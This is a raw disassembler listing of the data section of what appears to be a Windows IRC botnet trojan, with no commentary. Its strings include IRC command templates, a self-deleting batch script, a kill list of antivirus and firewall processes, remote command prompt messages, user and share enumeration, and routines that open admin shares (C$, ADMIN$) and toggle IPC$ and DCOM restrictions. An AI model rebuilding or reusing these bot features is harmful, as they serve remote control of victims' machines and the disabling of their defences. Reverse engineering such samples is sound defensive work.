word_4409E4 dw 4Eh ; DATA XREF: sub_41A702+38r ; .nsp0:0043FF9Co align 4 dword_4409E8 dd 42h dword_4409EC dd 56h dword_4409F0 dd 43h dword_4409F4 dd 58h dword_4409F8 dd 5Ah dword_4409FC dd 4Ch dword_440A00 dd 4Bh dword_440A04 dd 4Ah dword_440A08 dd 48h dword_440A0C dd 47h dword_440A10 dd 46h dword_440A14 dd 44h dword_440A18 dd 53h dword_440A1C dd 50h dword_440A20 dd 4Fh dword_440A24 dd 55h word_440A28 dw 59h ; DATA XREF: sub_41AA26+38r ; .nsp0:0043FF50o align 4 dword_440A2C dd 54h dword_440A30 dd 52h dword_440A34 dd 45h dword_440A38 dd 57h dword_440A3C dd 51h dword_440A40 dd 4B43494Eh, 0A732520h, 0dword_440A4C dd 323334h dword_440A50 dd 474E4F50h, 0A732520h, 0aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417EC3+98o db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_4180E3+BCo ; sub_4180E3+175r ... align 4 dword_440A98 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_440AE4 dd 3000005h, 10h, 18h, 1, 3 dup(0)dword_440B00 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 ; DATA XREF: sub_41852C+118o dword_440B14 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_41852C+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4188F8+72o align 4 aMirc_0 db 'mIRC',0 ; DATA XREF: sub_4189BD+5o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4189BD+9Eo align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418AE3+2o aComspecCSS db '%%comspec%% /c %s %s',0 align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 align 10h unk_440BD0 db 2Dh ; - ; DATA XREF: sub_418C8D+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 10h unk_440C00 db 2Dh ; - ; DATA XREF: sub_418C8D+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_440C28 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_418C8D+5Co dd 65726165h, 64h, 0 off_440C48 dd offset aAdd ; DATA XREF: sub_418F5A+6Dr ; sub_41933E+50r ... ; "Add" off_440C4C dd offset aAdded ; DATA XREF: sub_418F5A+2Dr ; sub_41933E+82r ... ; "Added" dword_440C50 dd 0 dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" dd 0 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 440CBCh, 440CB4h, 2, 440CA8h, 440C9Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .nsp0:00440C7Co aStop_0 db 'Stop',0 ; DATA XREF: .nsp0:00440C78o align 4 aStarted db 'Started',0 ; DATA XREF: .nsp0:00440C70o aStart_0 db 'Start',0 ; DATA XREF: .nsp0:00440C6Co align 4 aListed db 'Listed',0 ; DATA XREF: .nsp0:00440C64o align 4 aList_1 db 'List',0 ; DATA XREF: .nsp0:00440C60o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:00440C58o aDelete_0 db 'Delete',0 ; DATA XREF: .nsp0:00440C54o align 4 aAdded db 'Added',0 ; DATA XREF: .nsp0:off_440C4Co align 4 aAdd db 'Add',0 ; DATA XREF: .nsp0:off_440C48o unk_440D10 db 2Dh ; - ; DATA XREF: sub_418F5A+74o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_440D34 db 2Dh ; - ; DATA XREF: sub_418F5A+55o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_440D60 db 2Dh ; - ; DATA XREF: sub_418F5A+38o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_419083+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_419083:loc_41919Bo align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_419083:loc_419194o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_419083:loc_41918Do db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_419083:loc_419186o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_419083:loc_41917Fo db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_419083:loc_419178o align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_419083:loc_419171o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_419083:loc_41916Ao align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_419083:loc_419163o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_419083:loc_41915Co align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_419083:loc_419131o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_419083:loc_41912Ao db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_419083:loc_419123o db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_419083:loc_41911Co align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_419083+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_419083:loc_4190F1o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_419083:loc_4190E7o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_419083:loc_4190DDo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_419083:loc_4190D3o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_419083:loc_4190C9o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_419083+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_419201+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_419201:loc_4192CDo aStarting db ' Starting',0 ; DATA XREF: sub_419201:loc_4192C6o aStoping db ' Stoping',0 ; DATA XREF: sub_419201:loc_4192BFo aRunning_0 db ' Running',0 ; DATA XREF: sub_419201:loc_4192B8o aContinuing db ' Continuing',0 ; DATA XREF: sub_419201:loc_4192B1o aPausing db ' Pausing',0 ; DATA XREF: sub_419201:loc_4192AAo aPaused_0 db ' Paused',0 ; DATA XREF: sub_419201:loc_4192A3o aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_419201+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_419201+25o align 4 unk_4412B4 db 2Dh ; - ; DATA XREF: sub_41933E+ABo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_4412D8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_41933E+89o dd 73252720h, 27h unk_4412F4 db 2Dh ; - ; DATA XREF: sub_41933E+57o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419533+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_419533+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_419533+B5o unk_441340 db 2Dh ; - ; DATA XREF: sub_419533+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_419533+26o align 10h unk_4413A0 db 2Dh ; - ; DATA XREF: sub_419654+B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_4413C8 db 2Dh ; - ; DATA XREF: sub_419654+94o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_4413F8 db 2Dh ; - ; DATA XREF: sub_419654+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_441418 db 2Dh ; - ; DATA XREF: sub_41979A+394o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_41979A+36Ao align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_41979A+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41979A+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_41979A+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_41979A+2C4o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_41979A+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_41979A+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_41979A+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_41979A+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_41979A+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_41979A+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_41979A+1A0o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_41979A+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_41979A+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_41979A+125o aGuest db 'Guest',0 ; DATA XREF: sub_41979A:loc_4198B3o align 4 aUser_1 db 'User',0 ; DATA XREF: sub_41979A:loc_4198ACo align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_41979A+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_41979A+ACo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_41979A+81o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_41979A+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_419B68+14Fo align 4 unk_4415C4 db 2Dh ; - ; DATA XREF: sub_419B68+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_6 db ' %S',0 ; DATA XREF: sub_419B68+BEo align 4 unk_4415F8 db 2Dh ; - ; DATA XREF: sub_419B68+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_419B68+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419CE8:loc_419E05o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419CE8:loc_419DFEo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419CE8:loc_419DF7o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419CE8:loc_419DF0o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419CE8:loc_419DE9o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_419CE8:loc_419DCCo db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419CE8:loc_419DC5o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419CE8:loc_419DBEo align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_419CE8+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_419CE8:loc_419D93o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419CE8:loc_419D8Co aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_419CE8:loc_419D85o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419CE8:loc_419D7Bo align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419CE8+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419CE8:loc_419D55o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419CE8:loc_419D4Bo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419CE8:loc_419D41o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_419CE8:loc_419D37o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419CE8:loc_419D2Do align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419CE8+3Bo align 10h dword_441900 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: .nsp0:00419EC7o dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_44192C db 2Dh ; - ; DATA XREF: .nsp0:00419E9Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dword_441954 dd 7530h off_441958 dd offset aRegedit_exe ; DATA XREF: sub_419F45+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_441A60 dd offset dword_441A54 dd offset dword_441A48 dd offset dword_441A3C dd offset dword_441A30 dd offset dword_441A24 dd offset dword_441A14 dd offset dword_441A08 dd offset dword_4419FC dd offset dword_4419F0 dd offset dword_4419E4 dd offset dword_4419D4 dd offset dword_4419C8 dd offset dword_4419B8 dword_4419B8 dd 72313169h, 346E3435h, 6578652Eh, 0 ; .nsp0:004419B4o dword_4419C8 dd 6E757269h, 78652E34h, 65hdword_4419D4 dd 75643364h, 74616470h, 78652E65h, 65hdword_4419E4 dd 65746172h, 6578652Eh, 0dword_4419F0 dd 74617373h, 78652E65h, 65hdword_4419FC dd 736E6977h, 652E7379h, 6578hdword_441A08 dd 756E6977h, 652E6470h, 6578hdword_441A14 dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_441A24 dd 61656262h, 2E656C67h, 657865hdword_441A30 dd 696E6550h, 2E323373h, 657865hdword_441A3C dd 6B656574h, 2E736469h, 657865hdword_441A48 dd 4C42534Dh, 2E545341h, 657865hdword_441A54 dd 7663736Dh, 2E323362h, 657865hdword_441A60 dd 69737973h, 2E6F666Eh, 657865haPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .nsp0:0044197Co align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .nsp0:00441978o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .nsp0:00441974o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .nsp0:00441970o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .nsp0:0044196Co align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: .nsp0:00441968o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .nsp0:00441964o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .nsp0:00441960o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .nsp0:0044195Co align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .nsp0:off_441958o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419F45+191o align 10h unk_441B10 db 2Dh ; - ; DATA XREF: sub_41A174:loc_41A1FBo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_441B34 db 2Dh ; - ; DATA XREF: sub_41A174+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_441B58 db 2Dh ; - ; DATA XREF: sub_41A174+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A311+33o unk_441B88 db 2Dh ; - ; DATA XREF: .nsp0:loc_41A4CAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 db 2Dh ; - db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h db 2Dh ; - db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h db 2Dh ; - db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 dword_441C68 dd 1D4C0h align 10h off_441C70 dd offset dword_441CA8 ; DATA XREF: sub_41A702+1B3o ; sub_41AA26+17Ao align 8 dd offset dword_441CA0 align 10h off_441C80 dd offset dword_441C9C ; DATA XREF: sub_41AA26+1E3o dd offset dword_441C98 dd offset dword_441C94 dd offset dword_441C90 dword_441C90 dd 5C3A44h ; .nsp0:00441C8Co dword_441C94 dd 2444h dword_441C98 dd 5C3A43h dword_441C9C dd 2443h dword_441CA0 dd 494D4441h, 244Ehdword_441CA8 dd 24435049h, 0 dword_441CB0 dd 234032Dh, 75636573h, 3026572h ; sub_41AA26+2D8o aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_441CE0 dd 234032Dh, 75636573h, 3026572haNetworkSharesD db '- Network shares deleted.',0 align 4 dword_441D08 dd 234032Dh, 75636573h, 3026572haFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_441D34 dd 234032Dh, 75636573h, 3026572haShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_441D58 dd 234032Dh, 75636573h, 3026572haFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_441D84 dd 234032Dh, 75636573h, 3026572haShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_441DA8 dd 234032Dh, 75636573h, 3026572h ; sub_41AA26:loc_41AB54o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_441DD8 dd 234032Dh, 75636573h, 3026572haFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_441E14 dd 234032Dh, 75636573h, 3026572haRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_441E48 dd 234032Dh, 75636573h, 3026572haFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A702+EDo ; sub_41AA26+EDo align 4 dword_441E98 dd 234032Dh, 75636573h, 3026572h ; sub_41AA26+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_441EC8 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41A702:loc_41A76Fo dd 62617369h, 2E64656Ch, 0 dword_441EE8 dd 234032Dh, 75636573h, 3026572haDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A702+54o ; sub_41AA26+54o align 4 dword_441F18 dd 234032Dh, 75636573h, 3026572haNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41AA26+22Ao align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41AA26+219o dword_441F48 dd 234032Dh, 75636573h, 3026572h ; sub_41AA26:loc_41AC93o aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_441F70 dd 234032Dh, 75636573h, 3026572h ; sub_41AA26+266o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_441F90 dd 234032Dh, 75636573h, 3026572haFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_441FCC dd 234032Dh, 75636573h, 3026572haUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_442004 dd 234032Dh, 75636573h, 3026572haFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_442044 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41AA26:loc_41AA93o dd 6C62616Eh, 2E6465h dword_442060 dd 234032Dh, 75636573h, 3026572haEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AD75+DEo db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_4420B8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41AF50+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41AF50+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41AF50+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41AF50+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41AF50+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AF50+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AF50+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41AF50+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41AF50+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41AF50+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41AF50+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41AF50+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41AF50+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41AF50+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41AF50+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41AF50+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41AF50+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41AF50+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41AF50+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41AF50+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41AF50+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41AF50+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41AF50+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41AF50+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41AF50+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41AF50+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41AF50+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41B12D+52o dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh, 4D3A6464h, 793A4D4Dh dd 797979h aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B2E4:loc_41B448o align 10h aSS_2 db '%s (%s)',0 ; DATA XREF: sub_41B2E4+EBo dword_4423D8 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41B598+ABo dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_44241C dd offset loc_412F4E ; DATA XREF: sub_41B598:loc_41B60Co off_442420 dd offset dword_4E414C ; DATA XREF: sub_41B598:loc_41B605o dword_442424 dd 6C616944h, 70752Dhdword_44242C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_44243C db 2Dh ; - ; DATA XREF: sub_41B65E:loc_41B817o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConn_0 db ' Failed to connect to HTTP server.',0 align 4 unk_44246C db 2Dh ; - ; DATA XREF: sub_41B65E:loc_41B810o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_442498 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41B65E+1A0o dd 4C525520h, 2Eh unk_4424B4 db 2Dh ; - ; DATA XREF: sub_41B65E:loc_41B7F1o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_4424F0 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41B65E+18Co dd 64657469h, 2Eh dword_44250C dd 2A2F2Ah dword_442510 dd 1 align 10h dword_442520 dd 173Fh dd 9875h, 9873h off_44252C dd offset sub_41CDE8 ; DATA XREF: sub_41BE34r dd offset nullsub_2 dd offset nullsub_2 dword_442538 dd 1B3Fh dword_44253C dd 19930520h, 4 dup(0) ; sub_41D2EA+2o off_442550 dd offset sub_41BE72 ; DATA XREF: sub_41E0F9+1Cr dword_442554 dd 2 ; sub_4234E5+46r ... dd 10h dword_44255C dd 3F8h ; sub_41BC09+5r ... off_442560 dd offset word_44256A ; DATA XREF: sub_41BD9E+23r ; sub_41BD9E:loc_41BDFFr ... off_442564 dd offset word_44256A ; DATA XREF: sub_426A53+18r db 2 dup(0) word_44256A dw 20h ; DATA XREF: sub_424C7C+18r ; .nsp0:off_442560o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_44276C dd 1 ; sub_41BD9E:loc_41BDEAr ... byte_442770 db 2Eh ; DATA XREF: sub_420375:loc_420669r ; 